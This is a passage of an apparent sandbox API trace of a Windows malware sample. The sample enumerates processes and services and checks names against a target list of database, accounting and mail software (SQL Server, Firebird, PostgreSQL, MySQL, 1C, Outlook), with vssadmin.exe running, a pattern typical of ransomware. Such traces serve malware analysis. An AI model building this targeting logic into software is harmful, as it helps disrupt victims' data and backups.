returned 1 [0132.584] lstrlenW (lpString="conhost.exe") returned 11 [0132.584] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0132.585] lstrlenW (lpString="vssadmin.exe") returned 12 [0132.585] Process32NextW (in: hSnapshot=0x224, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0132.585] CloseHandle (hObject=0x224) returned 1 [0132.585] Sleep (dwMilliseconds=0x1f4) [0133.323] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x34b600 [0133.491] EnumServicesStatusExW (in: hSCManager=0x34b600, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0133.492] GetLastError () returned 0xea [0133.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x41de780 [0133.492] EnumServicesStatusExW (in: hSCManager=0x34b600, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41de780, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41de780, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0133.492] CloseServiceHandle (hSCObject=0x34b600) returned 1 [0133.492] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0133.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.492] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0133.492] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0133.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0133.492] lstrlenW (lpString="AudioSrv") returned 8 [0133.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0133.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0133.493] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0133.493] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0133.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0133.493] lstrlenW (lpString="BFE") returned 3 [0133.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0133.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0133.493] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0133.493] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0133.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0133.493] lstrlenW (lpString="CryptSvc") returned 8 [0133.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0133.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0133.493] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0133.493] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0133.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0133.493] lstrlenW (lpString="CscService") returned 10 [0133.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0133.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0133.493] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0133.493] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0133.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0133.493] lstrlenW (lpString="DcomLaunch") returned 10 [0133.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0133.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0133.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0133.493] lstrlenW (lpString="Dhcp") returned 4 [0133.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0133.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0133.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0133.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0133.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0133.494] lstrlenW (lpString="Dnscache") returned 8 [0133.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0133.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0133.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0133.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0133.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0133.494] lstrlenW (lpString="DPS") returned 3 [0133.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0133.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0133.494] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0133.494] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0133.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0133.494] lstrlenW (lpString="eventlog") returned 8 [0133.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0133.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0133.494] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0133.494] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0133.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0133.494] lstrlenW (lpString="EventSystem") returned 11 [0133.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0133.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0133.494] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0133.494] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0133.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0133.494] lstrlenW (lpString="gpsvc") returned 5 [0133.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0133.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0133.494] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0133.494] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0133.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0133.495] lstrlenW (lpString="LanmanWorkstation") returned 17 [0133.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0133.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0133.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0133.495] lstrlenW (lpString="lmhosts") returned 7 [0133.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0133.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0133.495] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0133.495] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0133.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0133.495] lstrlenW (lpString="MMCSS") returned 5 [0133.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0133.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0133.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0133.495] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0133.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0133.495] lstrlenW (lpString="MpsSvc") returned 6 [0133.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0133.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0133.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0133.495] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0133.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0133.495] lstrlenW (lpString="NlaSvc") returned 6 [0133.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0133.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0133.495] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0133.495] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0133.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0133.495] lstrlenW (lpString="nsi") returned 3 [0133.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0133.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0133.496] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0133.496] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0133.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0133.496] lstrlenW (lpString="PcaSvc") returned 6 [0133.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0133.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0133.496] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0133.496] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0133.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0133.496] lstrlenW (lpString="PlugPlay") returned 8 [0133.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0133.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0133.496] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0133.496] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0133.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0133.496] lstrlenW (lpString="Power") returned 5 [0133.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0133.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0133.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0133.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0133.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0133.496] lstrlenW (lpString="ProfSvc") returned 7 [0133.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0133.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0133.496] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0133.496] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0133.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0133.496] lstrlenW (lpString="RpcEptMapper") returned 12 [0133.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.496] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0133.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0133.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0133.497] lstrlenW (lpString="RpcSs") returned 5 [0133.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0133.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0133.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0133.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0133.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0133.497] lstrlenW (lpString="SamSs") returned 5 [0133.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0133.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0133.497] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0133.497] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0133.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0133.497] lstrlenW (lpString="Schedule") returned 8 [0133.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0133.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0133.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0133.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0133.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0133.497] lstrlenW (lpString="SENS") returned 4 [0133.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0133.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0133.497] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0133.497] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0133.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0133.497] lstrlenW (lpString="ShellHWDetection") returned 16 [0133.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0133.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0133.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0133.497] lstrlenW (lpString="Spooler") returned 7 [0133.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0133.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0133.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0133.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0133.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0133.498] lstrlenW (lpString="Themes") returned 6 [0133.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0133.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0133.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0133.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0133.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0133.498] lstrlenW (lpString="UxSms") returned 5 [0133.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0133.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0133.498] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0133.498] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0133.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0133.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41de780 | out: hHeap=0x300000) returned 1 [0133.498] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a8 [0133.500] Process32FirstW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.500] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0133.501] lstrlenW (lpString="System") returned 6 [0133.501] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0133.501] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0133.501] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0133.501] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0133.501] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0133.501] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0133.501] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0133.501] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0133.501] lstrlenW (lpString="smss.exe") returned 8 [0133.501] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0133.501] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0133.501] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0133.502] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0133.502] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0133.502] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0133.502] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0133.502] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.502] lstrlenW (lpString="csrss.exe") returned 9 [0133.502] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0133.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0133.502] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0133.502] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0133.502] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0133.502] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0133.502] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0133.502] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0133.502] lstrlenW (lpString="wininit.exe") returned 11 [0133.502] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0133.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0133.503] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0133.503] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0133.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0133.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0133.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0133.503] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0133.503] lstrlenW (lpString="csrss.exe") returned 9 [0133.503] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0133.503] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0133.503] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0133.503] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0133.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0133.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0133.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0133.503] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0133.504] lstrlenW (lpString="winlogon.exe") returned 12 [0133.504] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0133.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0133.504] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0133.504] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0133.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0133.505] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0133.505] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0133.505] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0133.505] lstrlenW (lpString="services.exe") returned 12 [0133.505] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0133.505] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0133.505] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0133.505] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0133.505] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0133.505] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0133.505] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0133.505] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0133.506] lstrlenW (lpString="lsass.exe") returned 9 [0133.506] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0133.506] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0133.506] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0133.506] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0133.506] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0133.506] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0133.506] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0133.506] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0133.506] lstrlenW (lpString="lsm.exe") returned 7 [0133.507] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0133.507] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0133.507] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0133.507] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0133.507] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0133.507] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0133.507] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0133.507] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.507] lstrlenW (lpString="svchost.exe") returned 11 [0133.507] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.507] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.507] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.507] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.507] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.507] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.507] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.507] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.508] lstrlenW (lpString="svchost.exe") returned 11 [0133.508] lstrcmpiW 